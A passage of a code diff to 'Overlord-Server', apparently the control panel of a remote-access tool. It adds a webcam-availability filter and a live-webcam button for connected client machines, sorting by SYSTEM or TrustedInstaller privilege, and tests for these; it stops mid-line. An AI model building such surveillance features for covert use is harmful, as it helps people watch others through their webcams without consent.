diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index d131fc8..1ef5dae 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -120,6 +120,7 @@ function clientQueryParams(page = state.page) { os: state.filterOs || "all", country: state.filterCountry || "all", group: state.filterGroup || "all", + webcam: state.filterWebcam || "all", }); } @@ -222,6 +223,11 @@ function updateOsFilter(items) { allOption.textContent = "All OS"; osSelect.appendChild(allOption); + const windowsOption = document.createElement("option"); + windowsOption.value = "windows"; + windowsOption.textContent = "Windows"; + osSelect.appendChild(windowsOption); + osArray.forEach((os) => { const option = document.createElement("option"); option.value = os; @@ -229,7 +235,7 @@ function updateOsFilter(items) { osSelect.appendChild(option); }); - if (currentValue !== "all" && osList.has(currentValue)) { + if (currentValue === "windows" || (currentValue !== "all" && osList.has(currentValue))) { osSelect.value = currentValue; } } diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 3638a97..4840708 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2277,6 +2277,7 @@ html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before { #filter-status, #filter-os, #filter-group, +#filter-webcam, #sort { transition: border-color 150ms ease, @@ -2287,6 +2288,7 @@ html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before { #filter-status:focus, #filter-os:focus, #filter-group:focus, +#filter-webcam:focus, #sort:focus { border-color: rgba(100, 116, 139, 0.82) !important; box-shadow: none !important; @@ -2715,6 +2717,7 @@ textarea, #filter-status, #filter-os, #filter-group, +#filter-webcam, #sort, #console-input { background-color: var(--ui-surface); @@ -2735,6 +2738,7 @@ textarea:focus, #filter-status:focus, #filter-os:focus, #filter-group:focus, +#filter-webcam:focus, #sort:focus, #console-input:focus { border-color: var(--ui-border-strong) !important; @@ -2951,6 +2955,9 @@ tbody tr:hover { .cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); } .cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); } .cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); } +.cv-pill-webcam { background: rgba(20, 184, 166, 0.12); color: #99f6e4; border-color: rgba(20, 184, 166, 0.3); } +.cv-mini-pill.cv-webcam-btn { padding: 0; cursor: pointer; } +.cv-mini-pill.cv-webcam-btn:hover { background: rgba(20, 184, 166, 0.20); border-color: rgba(20, 184, 166, 0.5); } .cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); } .cv-pill-macperm.is-ok { background: rgba(16, 185, 129, 0.12); color: #86efac; border-color: rgba(16, 185, 129, 0.3); } .cv-pill-macperm.is-warn { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); } @@ -3228,6 +3235,8 @@ tbody tr:hover { } .cv-icon-btn:disabled { opacity: 0.4; cursor: not-allowed; } .cv-icon-btn.cv-icon-sm { width: 26px; height: 26px; font-size: 11px; } +.cv-icon-btn.cv-webcam-btn { color: #99f6e4; border-color: rgba(20, 184, 166, 0.3); } +.cv-icon-btn.cv-webcam-btn:hover { background: rgba(20, 184, 166, 0.10); border-color: rgba(20, 184, 166, 0.45); } .cv-icon-btn.cv-icon-danger { color: var(--cv-danger); border-color: rgba(239, 68, 68, 0.25); } .cv-icon-btn.cv-icon-danger:hover { background: rgba(239, 68, 68, 0.10); border-color: rgba(239, 68, 68, 0.45); } diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 122878c..2f8a039 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -28,6 +28,7 @@ const sortSelect = document.getElementById("sort"); const filterStatusSelect = document.getElementById("filter-status"); const filterOsSelect = document.getElementById("filter-os"); const filterGroupSelect = document.getElementById("filter-group"); +const filterWebcamSelect = document.getElementById("filter-webcam"); const showOfflineToggle = document.getElementById("toggle-offline"); const displayFieldsMenu = document.getElementById("display-fields-menu"); const selectAllBtn = document.getElementById("select-all"); @@ -56,6 +57,7 @@ const PREF_SORT_KEY = "overlord_sort"; const PREF_FILTER_OS_KEY = "overlord_filter_os"; const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country"; const PREF_FILTER_GROUP_KEY = "overlord_filter_group"; +const PREF_FILTER_WEBCAM_KEY = "overlord_filter_webcam"; const PREF_DISPLAY_FIELDS_KEY = "overlord_display_fields"; const DEFAULT_DISPLAY_FIELDS = { user: true, @@ -944,6 +946,7 @@ function initializeRenderer() { requestPreview, requestThumbnail, pingClient: (id) => sendCommand(id, "ping"), + onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"), onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey), onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }), onMacPermissionApply: (id) => applyMacPermissionChanges(id), @@ -1057,6 +1060,14 @@ filterGroupSelect?.addEventListener("change", (e) => { loadWithOptions({ force: true, reorder: true }); }); +filterWebcamSelect?.addEventListener("change", (e) => { + state.filterWebcam = e.target.value; + localStorage.setItem(PREF_FILTER_WEBCAM_KEY, state.filterWebcam); + state.page = 1; + state.lastDigest = ""; + loadWithOptions({ force: true, reorder: true }); +}); + import("./country-picker.js").then(({ initCountryPicker }) => { initCountryPicker((code) => { state.filterCountry = code; @@ -1078,7 +1089,7 @@ import("./country-picker.js").then(({ initCountryPicker }) => { } const savedSort = localStorage.getItem(PREF_SORT_KEY); - const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first"]; + const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first", "elevated_first"]; if (savedSort && validSorts.includes(savedSort)) { state.sort = savedSort; if (sortSelect) sortSelect.value = savedSort; @@ -1100,6 +1111,12 @@ import("./country-picker.js").then(({ initCountryPicker }) => { state.filterGroup = savedGroup; if (filterGroupSelect) filterGroupSelect.value = savedGroup; } + + const savedWebcam = localStorage.getItem(PREF_FILTER_WEBCAM_KEY); + if (savedWebcam && ["all", "available", "none"].includes(savedWebcam)) { + state.filterWebcam = savedWebcam; + if (filterWebcamSelect) filterWebcamSelect.value = savedWebcam; + } })(); showOfflineToggle?.addEventListener("change", (e) => { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index df0c44e..919d940 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -321,6 +321,7 @@ export function createRenderer({ requestPreview, requestThumbnail, pingClient, + onOpenWebcam, onMacPermissionRequest, onMacPermissionRefresh, onMacPermissionApply, @@ -479,6 +480,12 @@ export function createRenderer({ return; } + if (e.target.closest(".cv-webcam-btn")) { + e.stopPropagation(); + if (onOpenWebcam) onOpenWebcam(clientId); + return; + } + if (e.target.closest(".cv-ping-btn")) { e.stopPropagation(); if (pingClient) pingClient(clientId); @@ -655,7 +662,7 @@ export function createRenderer({ } function cardDigest(c) { - return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; + return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${!!c.webcamAvailable}|${JSON.stringify(c.webcamDevices || [])}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; } function cardThumbDigest(c) { @@ -789,6 +796,7 @@ export function createRenderer({ el.dataset.customTag = String(client.customTag || ""); el.dataset.bookmarked = String(!!client.bookmarked); el.dataset.notificationsMuted = String(!!client.notificationsMuted); + el.dataset.hasWebcam = String(!!client.webcamAvailable); el.dataset.admin = String(!!client.isAdmin); el.dataset.groupId = String(client.groupId || ""); el.dataset.groupName = String(client.groupName || ""); @@ -833,6 +841,16 @@ export function createRenderer({ return node; } + function webcamButtonHtml(client, extraClass = "") { + if (!client.webcamAvailable || isViewer) return ""; + return ``; + } + + function webcamBadgeHtml(client) { + if (!client.webcamAvailable || isViewer) return ""; + return ``; + } + function updateCard(card, client) { const wasChecked = card.querySelector(".client-checkbox")?.checked || false; const wasTagNoteExpanded = card.dataset.tagNoteExpanded === "true"; @@ -914,6 +932,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${webcamBadgeHtml(client)} ${macPermissionBadgeHtml(client)} ${client.notificationsMuted ? `` : ""} @@ -930,6 +949,7 @@ export function createRenderer({
${isViewer ? "" : ``} + ${webcamButtonHtml(client)} ${isViewer ? "" : ``} @@ -993,6 +1013,7 @@ export function createRenderer({ ${client.isAdmin ? `` : ""} ${client.elevation === "system" ? `` : ""} ${client.elevation === "trustedinstaller" ? `` : ""} + ${webcamBadgeHtml(client)} ${macPermissionBadgeHtml(client)} ${client.notificationsMuted ? `` : ""} @@ -1012,6 +1033,7 @@ export function createRenderer({
${isViewer ? "" : ``} + ${webcamButtonHtml(client, "cv-icon-sm")} ${isViewer ? "" : ``}
@@ -1054,6 +1076,7 @@ export function createRenderer({ client.isAdmin ? `` : "", client.elevation === "system" ? `` : "", client.elevation === "trustedinstaller" ? `` : "", + webcamBadgeHtml(client), macPermissionBadgeHtml(client), client.notificationsMuted ? `` : "", ].join(""); @@ -1102,6 +1125,7 @@ export function createRenderer({ ${macPermDetail ? `
${macPermDetail}
` : ""}
${isViewer ? "" : ``} + ${webcamButtonHtml(client)} ${isViewer ? "" : ``}
diff --git a/Overlord-Server/public/assets/state.js b/Overlord-Server/public/assets/state.js index 8258a31..f5f32ac 100644 --- a/Overlord-Server/public/assets/state.js +++ b/Overlord-Server/public/assets/state.js @@ -7,6 +7,7 @@ export const state = { filterOs: "all", filterCountry: "all", filterGroup: "all", + filterWebcam: "all", lastDigest: "", isLoading: false, pendingForce: false, diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js index 7db8009..f5fae6c 100644 --- a/Overlord-Server/public/assets/webcam.js +++ b/Overlord-Server/public/assets/webcam.js @@ -2,6 +2,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; import { WhepClient } from "./whep.js"; import { P2PClient } from "./webrtc-p2p.js"; +import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js"; (async function () { const clientId = new URLSearchParams(location.search).get("clientId"); @@ -58,16 +59,53 @@ import { P2PClient } from "./webrtc-p2p.js"; let clientIsAdmin = false; let firewallWarningAcked = false; - const codecPrefKey = "webcamCodecPreferH264"; let prefersH264 = typeof VideoDecoder === "function"; + let savedCameraIndex = null; - const storedCodecPref = localStorage.getItem(codecPrefKey); - if (storedCodecPref === "0") { - prefersH264 = false; - } else if (storedCodecPref === "1") { - prefersH264 = typeof VideoDecoder === "function"; + function setSelectValue(select, value) { + if (!select || value === undefined || value === null) return false; + const normalized = String(value); + const exists = Array.from(select.options || []).some((opt) => opt.value === normalized); + if (!exists) return false; + select.value = normalized; + return true; } + function applySavedCamera() { + if (savedCameraIndex === null || savedCameraIndex === undefined) return false; + if (!setSelectValue(cameraSelect, savedCameraIndex)) return false; + selectedDeviceIndex = Number(cameraSelect.value) || 0; + applyFpsInputLimits(); + return true; + } + + function applySharedSettings(settings) { + if (!settings || typeof settings !== "object") return; + if (Number.isFinite(Number(settings.camera))) { + savedCameraIndex = Number(settings.camera); + } + if (fpsInput && settings.fps !== undefined) fpsInput.value = String(settings.fps); + if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality); + setSelectValue(webrtcMode, settings.webrtcMode); + if (typeof settings.preferH264 === "boolean") { + prefersH264 = settings.preferH264 && typeof VideoDecoder === "function"; + } + applySavedCamera(); + } + + function readSharedSettings() { + return { + camera: Number(cameraSelect?.value ?? savedCameraIndex ?? 0), + fps: Number(fpsInput?.value || 30), + quality: Number(qualitySlider?.value || 90), + preferH264: !!prefersH264, + webrtcMode: getWebrtcMode(), + }; + } + + applySharedSettings(await loadSharedUiSettings("webcam")); + const sharedSettingsSaver = createSharedUiSettingsSaver("webcam", readSharedSettings); + if (codecH264) { codecH264.checked = prefersH264; codecH264.disabled = typeof VideoDecoder !== "function"; @@ -176,7 +214,9 @@ import { P2PClient } from "./webrtc-p2p.js"; : (dev.name || `Camera ${idx + 1}`); cameraSelect.appendChild(opt); } - selectedDeviceIndex = Number(selected) || 0; + selectedDeviceIndex = savedCameraIndex !== null && savedCameraIndex !== undefined + ? Number(savedCameraIndex) || 0 + : Number(selected) || 0; const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex); if (selectedOpt) { cameraSelect.value = selectedOpt.value; @@ -185,6 +225,9 @@ import { P2PClient } from "./webrtc-p2p.js"; } selectedDeviceIndex = Number(cameraSelect.value) || 0; applyFpsInputLimits(); + if (selectedDeviceIndex !== Number(selected || 0) && ws && ws.readyState === WebSocket.OPEN) { + send("webcam_select", { index: selectedDeviceIndex }); + } } function isH264KeyFrame(data) { @@ -466,6 +509,10 @@ import { P2PClient } from "./webrtc-p2p.js"; ws.onopen = () => { requestCameraList(); + if (savedCameraIndex !== null && savedCameraIndex !== undefined) { + selectedDeviceIndex = Number(savedCameraIndex) || 0; + send("webcam_select", { index: selectedDeviceIndex }); + } applyFpsSettings(); pushQuality(qualitySlider ? qualitySlider.value : 90); if (desiredStreaming) { @@ -543,6 +590,7 @@ import { P2PClient } from "./webrtc-p2p.js"; }); window.addEventListener("beforeunload", () => { + sharedSettingsSaver.saveNow(); if (ws && ws.readyState === WebSocket.OPEN) { send("webcam_stop"); } @@ -555,9 +603,11 @@ import { P2PClient } from "./webrtc-p2p.js"; cameraSelect.addEventListener("change", () => { const index = Number(cameraSelect.value) || 0; + savedCameraIndex = index; selectedDeviceIndex = index; applyFpsInputLimits(); send("webcam_select", { index }); + sharedSettingsSaver.scheduleSave(); }); fpsInput.addEventListener("input", () => { @@ -566,18 +616,19 @@ import { P2PClient } from "./webrtc-p2p.js"; if (Number.isFinite(val) && val > maxFps) { fpsInput.value = String(maxFps); } + sharedSettingsSaver.scheduleSave(); }); if (codecH264) { codecH264.addEventListener("change", function () { prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; - localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); if (!prefersH264) { destroyVideoDecoder(); } if (qualitySlider) { pushQuality(qualitySlider.value); } + sharedSettingsSaver.scheduleSave(); }); } @@ -586,13 +637,21 @@ import { P2PClient } from "./webrtc-p2p.js"; qualitySlider.addEventListener("input", function () { updateQualityLabel(qualitySlider.value); pushQuality(qualitySlider.value); + sharedSettingsSaver.scheduleSave(); }); } applyFps.addEventListener("click", () => { applyFpsSettings(); + sharedSettingsSaver.scheduleSave(); }); + if (webrtcMode) { + webrtcMode.addEventListener("change", () => { + sharedSettingsSaver.scheduleSave(); + }); + } + screenshotBtn.addEventListener("click", () => { downloadScreenshot(); }); diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html index 33901cc..b039726 100644 --- a/Overlord-Server/public/index.html +++ b/Overlord-Server/public/index.html @@ -19,7 +19,7 @@ - + @@ -184,6 +184,10 @@ +
@@ -201,6 +205,7 @@ + diff --git a/Overlord-Server/src/client-order.test.ts b/Overlord-Server/src/client-order.test.ts index 70ffa45..2223e28 100644 --- a/Overlord-Server/src/client-order.test.ts +++ b/Overlord-Server/src/client-order.test.ts @@ -1,16 +1,28 @@ import { afterAll, describe, expect, test } from "bun:test"; import { db } from "./db/connection"; -import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, upsertClientRow } from "./db"; +import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db"; const createdClientIds: string[] = []; -function createTempClient(id: string, options: { online: boolean; lastSeen: number; host: string; pingMs?: number; bookmarked?: boolean }) { +function createTempClient( + id: string, + options: { + online: boolean; + lastSeen: number; + host: string; + pingMs?: number; + bookmarked?: boolean; + os?: string; + isAdmin?: boolean; + elevation?: string; + }, +) { upsertClientRow({ id, hwid: id, role: "client", host: options.host, - os: "windows", + os: options.os || "windows", arch: "amd64", version: "1.0.0", user: "tester", @@ -18,6 +30,8 @@ function createTempClient(id: string, options: { online: boolean; lastSeen: numb lastSeen: options.lastSeen, online: options.online ? 1 : 0, pingMs: options.pingMs, + isAdmin: options.isAdmin, + elevation: options.elevation, }); if (options.bookmarked) { setClientBookmark(id, true); @@ -190,6 +204,144 @@ describe("client metrics summary", () => { cleanupCreatedClients(); } }); + + test("webcam filter returns only clients with available webcam devices", () => { + try { + const prefix = `webcam-filter-${Date.now().toString(36)}`; + const now = Date.now(); + const withWebcam = `${prefix}-with`; + const withoutWebcam = `${prefix}-without`; + const legacyWebcam = `${prefix}-legacy`; + + createTempClient(withWebcam, { + online: true, + lastSeen: now, + host: "webcam-host", + }); + createTempClient(withoutWebcam, { + online: true, + lastSeen: now - 1, + host: "plain-host", + }); + createTempClient(legacyWebcam, { + online: true, + lastSeen: now - 2, + host: "legacy-webcam-host", + }); + setClientWebcamInfo(withWebcam, true, [{ index: 0, name: "Integrated Camera" }]); + db.run( + `UPDATE clients SET webcam_available=0, webcam_devices=? WHERE id=?`, + JSON.stringify([{ index: 1, name: "USB Camera" }]), + legacyWebcam, + ); + + const result = listClients({ + page: 1, + pageSize: 12, + search: prefix, + sort: "last_seen_desc", + statusFilter: "all", + osFilter: "all", + countryFilter: "all", + enrollmentFilter: "all", + webcamFilter: "available", + }); + + expect(result.items.map((item) => item.id).sort()).toEqual([legacyWebcam, withWebcam].sort()); + expect(result.items.every((item) => item.webcamAvailable)).toBe(true); + } finally { + cleanupCreatedClients(); + } + }); + + test("general Windows OS filter includes Windows version variants", () => { + try { + const prefix = `windows-filter-${Date.now().toString(36)}`; + const now = Date.now(); + const win24h2 = `${prefix}-24h2`; + const win25h2 = `${prefix}-25h2`; + const mac = `${prefix}-mac`; + + createTempClient(win24h2, { + online: true, + lastSeen: now, + host: "win-24h2", + os: "Windows 11 Pro 24H2", + }); + createTempClient(win25h2, { + online: true, + lastSeen: now - 1, + host: "win-25h2", + os: "Windows 11 Pro 25H2", + }); + createTempClient(mac, { + online: true, + lastSeen: now - 2, + host: "mac-host", + os: "macOS 15.5", + }); + + const result = listClients({ + page: 1, + pageSize: 12, + search: prefix, + sort: "last_seen_desc", + statusFilter: "all", + osFilter: "windows", + countryFilter: "all", + enrollmentFilter: "all", + }); + + expect(result.items.map((item) => item.id).sort()).toEqual([win24h2, win25h2].sort()); + } finally { + cleanupCreatedClients(); + } + }); + + test("elevated sort puts elevated clients before regular clients", () => { + try { + const prefix = `elevated-sort-${Date.now().toString(36)}`; + const now = Date.now(); + const regular = `${prefix}-regular`; + const system = `${prefix}-system`; + const trustedInstaller = `${prefix}-ti`; + + createTempClient(regular, { + online: true, + lastSeen: now, + host: "regular-host", + }); + createTempClient(system, { + online: true, + lastSeen: now - 1, + host: "system-host", + isAdmin: true, + elevation: "system", + }); + createTempClient(trustedInstaller, { + online: true, + lastSeen: now - 2, + host: "ti-host", + isAdmin: true, + elevation: "trustedinstaller", + }); + + const result = listClients({ + page: 1, + pageSize: 12, + search: prefix, + sort: "elevated_first", + statusFilter: "all", + osFilter: "all", + countryFilter: "all", + enrollmentFilter: "all", + }); + + expect(result.items.map((item) => item.id)).toEqual([trustedInstaller, system, regular]); + } finally { + cleanupCreatedClients(); + } + }); }); describe("client search index", () => { diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index d4031d1..190176e 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -221,8 +221,8 @@ export type OfflineStateUpdate = { disconnectDetail?: string; }; -const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, battery_percent, battery_charging, is_admin, elevation, permissions) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?) +const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, build_tag, built_by_user_id, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, battery_percent, battery_charging, webcam_available, webcam_devices, is_admin, elevation, permissions) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, COALESCE(?, 0), ?, ?) ON CONFLICT(id) DO UPDATE SET hwid=COALESCE(excluded.hwid, clients.hwid), role=COALESCE(excluded.role, clients.role), @@ -250,6 +250,8 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os ram=COALESCE(excluded.ram, clients.ram), battery_percent=COALESCE(excluded.battery_percent, clients.battery_percent), battery_charging=COALESCE(excluded.battery_charging, clients.battery_charging), + webcam_available=COALESCE(excluded.webcam_available, clients.webcam_available), + webcam_devices=COALESCE(excluded.webcam_devices, clients.webcam_devices), is_admin=COALESCE(excluded.is_admin, clients.is_admin), elevation=COALESCE(excluded.elevation, clients.elevation), permissions=COALESCE(excluded.permissions, clients.permissions) @@ -287,6 +289,8 @@ function upsertClientRowInternal(partial: ClientDbRow): void { partial.ram ?? null, partial.batteryPercent ?? null, partial.batteryCharging !== undefined && partial.batteryCharging !== null ? (partial.batteryCharging ? 1 : 0) : null, + partial.webcamAvailable !== undefined ? (partial.webcamAvailable ? 1 : 0) : null, + partial.webcamDevices ? JSON.stringify(partial.webcamDevices) : null, partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null, partial.elevation ?? null, partial.permissions ? JSON.stringify(partial.permissions) : null, @@ -951,6 +955,7 @@ export function listClients(filters: ListFilters): ListResult { allowedClientIds, deniedClientIds, groupFilter, + webcamFilter, } = filters; const where: string[] = []; const params: any[] = []; @@ -971,8 +976,12 @@ export function listClients(filters: ListFilters): ListResult { } if (osFilter && osFilter !== "all") { - where.push("c.os=?"); - params.push(osFilter); + if (osFilter === "windows") { + where.push("LOWER(COALESCE(c.os, '')) LIKE 'windows%'"); + } else { + where.push("c.os=?"); + params.push(osFilter); + } } if (countryFilter && countryFilter !== "all") { @@ -1015,6 +1024,17 @@ export function listClients(filters: ListFilters): ListResult { } } + const webcamAvailableSql = + "(COALESCE(c.webcam_available, 0)=1 OR (c.webcam_devices IS NOT NULL AND c.webcam_devices NOT IN ('', '[]', 'null')))"; + + if (webcamFilter && webcamFilter !== "all") { + if (webcamFilter === "available") { + where.push(webcamAvailableSql); + } else if (webcamFilter === "none") { + where.push(`NOT ${webcamAvailableSql}`); + } + } + const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : ""; const needsGroupJoinForFilter = sort === "group_asc" || @@ -1041,6 +1061,8 @@ export function listClients(filters: ListFilters): ListResult { return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(c.country, 'zz')) DESC, c.id ASC`; case "admin_first": return `ORDER BY ${online}, ${bookmark}, c.is_admin DESC, c.id ASC`; + case "elevated_first": + return `ORDER BY ${online}, ${bookmark}, CASE WHEN c.elevation IN ('trustedinstaller', 'system', 'admin', 'elevated') OR c.is_admin=1 THEN 1 ELSE 0 END DESC, CASE c.elevation WHEN 'trustedinstaller' THEN 4 WHEN 'system' THEN 3 WHEN 'admin' THEN 2 WHEN 'elevated' THEN 1 ELSE 0 END DESC, c.id ASC`; case "group_asc": return `ORDER BY ${online}, ${bookmark}, g.name IS NULL, LOWER(g.name) ASC, c.id ASC`; case "group_desc": @@ -1053,7 +1075,7 @@ export function listClients(filters: ListFilters): ListResult { const offset = (page - 1) * pageSize; const clientFields = - "c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.battery_percent as batteryPercent, c.battery_charging as batteryCharging, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason"; + `c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.battery_percent as batteryPercent, c.battery_charging as batteryCharging, CASE WHEN ${webcamAvailableSql} THEN 1 ELSE 0 END as webcamAvailable, c.webcam_devices as webcamDevices, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, c.notifications_muted as notificationsMuted, c.deny_reason as denyReason`; let rows: any[] | undefined; let totalCount = 0; @@ -1176,6 +1198,8 @@ export function listClients(filters: ListFilters): ListResult { ram: c.ram || null, batteryPercent: typeof c.batteryPercent === "number" ? c.batteryPercent : null, batteryCharging: c.batteryCharging === null || c.batteryCharging === undefined ? null : c.batteryCharging === 1, + webcamAvailable: c.webcamAvailable === 1, + webcamDevices: c.webcamDevices ? (() => { try { return JSON.parse(c.webcamDevices); } catch { return []; } })() : [], isAdmin: c.isAdmin === 1, elevation: c.elevation || null, permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null, @@ -1591,6 +1615,21 @@ export function setClientNotificationsMuted(id: string, muted: boolean): boolean return ((result as any)?.changes || 0) > 0; } +export function setClientWebcamInfo( + id: string, + webcamAvailable: boolean, + webcamDevices: { index: number; name: string; maxFps?: number }[], +): boolean { + const result = db.run( + `UPDATE clients SET webcam_available=?, webcam_devices=? WHERE id=?`, + webcamAvailable ? 1 : 0, + JSON.stringify(webcamDevices), + id, + ); + if (((result as any)?.changes || 0) > 0) invalidateClientMetricsSummaryCache(); + return ((result as any)?.changes || 0) > 0; +} + export function isClientNotificationsMuted(id: string): boolean { const row = db.query<{ notifications_muted: number }>( `SELECT notifications_muted FROM clients WHERE id=?`, diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts index 085aa4f..463469e 100644 --- a/Overlord-Server/src/db/schema.ts +++ b/Overlord-Server/src/db/schema.ts @@ -85,9 +85,18 @@ try { try { db.run(`ALTER TABLE clients ADD COLUMN battery_charging INTEGER`); } catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN webcam_available INTEGER NOT NULL DEFAULT 0`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN webcam_devices TEXT`); +} catch {} try { db.run(`ALTER TABLE clients ADD COLUMN is_admin INTEGER NOT NULL DEFAULT 0`); } catch {} +db.run( + `CREATE INDEX IF NOT EXISTS idx_clients_webcam_available ON clients(webcam_available);`, +); db.run( `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`, ); diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 297c303..4391bc8 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -84,15 +84,16 @@ export async function handleClientRoutes( const countryFilter = url.searchParams.get("country") || "all"; const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved"; const groupFilter = url.searchParams.get("group") || "all"; + const webcamFilter = url.searchParams.get("webcam") || "all"; const isEnrollmentRequest = url.searchParams.has("enrollmentFilter"); if (user.role === "admin") { - const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter }); + const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter }); return Response.json(result, { headers: deps.CORS_HEADERS }); } if (user.role === 